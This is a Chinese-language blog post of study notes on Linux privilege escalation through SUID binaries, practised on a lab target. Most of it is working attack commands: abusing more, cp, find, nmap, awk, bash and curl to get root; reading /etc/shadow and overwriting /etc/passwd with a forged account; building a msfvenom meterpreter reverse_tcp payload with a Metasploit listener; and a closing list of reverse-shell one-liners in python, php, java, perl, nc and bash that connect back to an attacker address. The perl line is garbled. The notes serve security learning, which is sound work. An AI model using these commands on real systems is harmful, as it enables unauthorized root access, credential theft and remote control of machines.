作者:手机用户2702932960 | 来源:互联网 | 2024-09-29 19:32
Linux提权之suid篇 不知攻,焉知防 一个在安服路上摸索的大三生,记录平时学习笔记
suid前言: 1.只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义. 2.命令执行者要对该程序文件拥有执行(x)权限. 3.命令执行者在执行该程序时获得该程序文件属主的身份. 4.SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效
实验环境: kali攻击机 靶机账号 :muhammad 密码 : nasef
START: 靶机自带提权文件suid ---- 位于/home/muhammad/vuln/1 下 1)ls -al 查看文件是否可以执行
发现可以直接执行
2)执行得到一个交互式shell,通过使用id 及 whoami查看 是一个具有root权限的普通shell Tip : uid为0代表超级管理员root 红帽企业RHEL <7.0 为0-499 > 8.0为0-1000 ;500-65535 或者1000-65535为普通用户
3)接下来可以通过反弹shell将该通道反弹给攻击机 — 本文最后介绍 其他suid提权 可供用来进行suid 提权的有find 、 nano 、 vim 、 awk 、 bash 、 less 、 nmap 、 more 、curl 、 cp 、man 、mv 通过三条命令可以查看当前可以具有suid权限的文件且拥有者为root 1)find / -perm -u=s -type f 2> /dev/null PS: /dev/null 是Linux中一个特殊的文件,理解为“黑洞”即可 (最好用,个人觉得) 2)find / -user root -perm -4000 -print 2> /dev/null 3)find / -user root -perm -4000 -exec ls -ldb {} ; PS : -exec 选项要与 ‘;’ 相结合使用【-exec + command 、 ;为结束标志 、 \是转义 】; ’{}’ 代表前面所查找到的所有相关文件 //粗浅的自我认识 :-exec选项的作用就相当于一个管道:前面的输出作为后面的输入 Kip : 建议使用kali直连靶机,毕竟只是实验
(1)more 、vim 、 nano 、less 用法相似 以more为例子: 成功get到原本普通用户无法得到的信息,之后可以通过more /etc/shadow > 1.txt
(2)mv和cp用法一致: 覆盖/etc/shadow文件 1)通过scp命令从靶机上面下载 /etc/passwd scp muhammad@192.168.169.140:/etc/shadow /root/Desktop
2)kali上通过OpenSSL进行密码编译 ,创建不存在账号。 openssl passwd -1 -salt magisec 123456 仿照muhammad账号创建: 其中各参数意思: 登录用户名 密码(x为安全考虑) 用户id(UID) 组ID(GID) 用户备注信息 用户家目录 用户的bash
3)想当然地继续通过scp将修改后的passwd文件替换结果发现没有权限 能利用之前获得的root权限的sh界面进行开放http服务使用wget进行下载
4)wget http://192.169.141/passwd 5)cp命令覆盖/etc/passwd cp passwd /etc/passwd
6)使用自己创建的账号登录,用id查看 发现提权成功
(3)find 提权 1)由于当前靶机没有find ,先赋予find suid权限
2)创建普通文件hquhqu,并输入命令 find hquhqu -exec whoami ; 发现用户变为root
(4)nmap 提权 :适用于版本2.02-5.21 PS :由于没有找到可以进行实验的nmap版本,纯理论讲一讲 介绍两个方法:
方法一: 1)通过nmap --interactive (或者 -i) 启动交互模式 2)!sh 执行之后得到一个提权后的shell 方法二:Metasploit exp exploit/unix/local/setuid_nmap 通过打开msf ,use 此模块后发现需要参数session 。接下来是获取session
1)木马制作 (1)通过msfvenom 制作linux木马 木马制作方法: msfvenom -l payloads | grep linux/x64/meterpreter ----- 查看可以反弹meterpreter的exp msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=本地IP lport=本机需要监听的端口 -a x64 --platform linux -f elf > 需要输出的文件名 制作成功! 通过scp test /home/muhammad 传到对应靶机目录 或者将该木马挂载到网站根目录,靶机再通过wget进行下载 -----------现实中是通过社工或者各种漏洞进行上传木马
(2)启动msf service postgresql start —打开对应数据库 msfconsole —启动msf
(3)开始监听,得到session Use exploit/multi/handler —使用监听模块 Set payload linux/x64/meterpreter/reverse_tcp —设置有效载荷,与木马制作时一致 Set lhost 、 lport — 设置IP和端口 : 也与木马制作时一致 Run / exploit 然后再通过靶机执行生成的木马,需要先赋予执行权限再 ./ 执行 得到session,然后background挂起之后再使用上面的模块进行攻击
(5)awk提权 :命令awk ‘BEGIN{system(“whoami”)}’ 一通花里胡哨的操作,别问我为什么这么做,小白的世界你不懂 再次确认是否存在该文件
提权成功 !
(6)Bash提权: bash -p
(7)Curl提权 : curl file:///etc/shadow
(8)man提权 修改完man后发现无论输入什么都会回到root用户,没明白为什么,想了一会,发现是从bash提权之后才发生的,修改bash回原来样子即可
虽然有个warning,但还是提权成功
存疑的一个提权: su 【之前看到某些大佬将这一个列进去了,但自己未实现】 无法执行
反弹shell: 使用场景: 受控主机在网络内部,无法通过某些服务进行连接,该主机经常更换IP地址,导致没有办法对主机进行控制。可以使用反弹shell的操作,将主机的shell界面行反弹给攻击者,使攻击者拥有操控内网主机的权力。
python脚本反弹 python -c “import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((‘攻击者ip’,监听端口));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([’/bin/bash’,’-i’]);”
php脚本反弹 php -r ‘exec("/bin/bash -i >& /dev/tcp/攻击者ip/监听端口")’ php -r ‘$sock=fsockopen(“ip”,port);exec("/bin/bash -i <&3 >&3 2>&3");’
java脚本反弹 r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c",“exec 5<>/dev/tcp/ip/port;cat <&5 | while read line; do $line 2>&5 >&5; done”] as String[]) p.waitFor()
perl脚本反弹 perl -e ‘use Socket;i="ip";i="ip"; i = " i p " ; p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in(p,inetaton(p,inet_aton( p , i n e t a t o n ( i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};’
nc反弹 nc -t -e /bin/bash ip port
bash命令反弹 /bin/bash >& /dev/tcp/127.0.0.1/6789 0>&1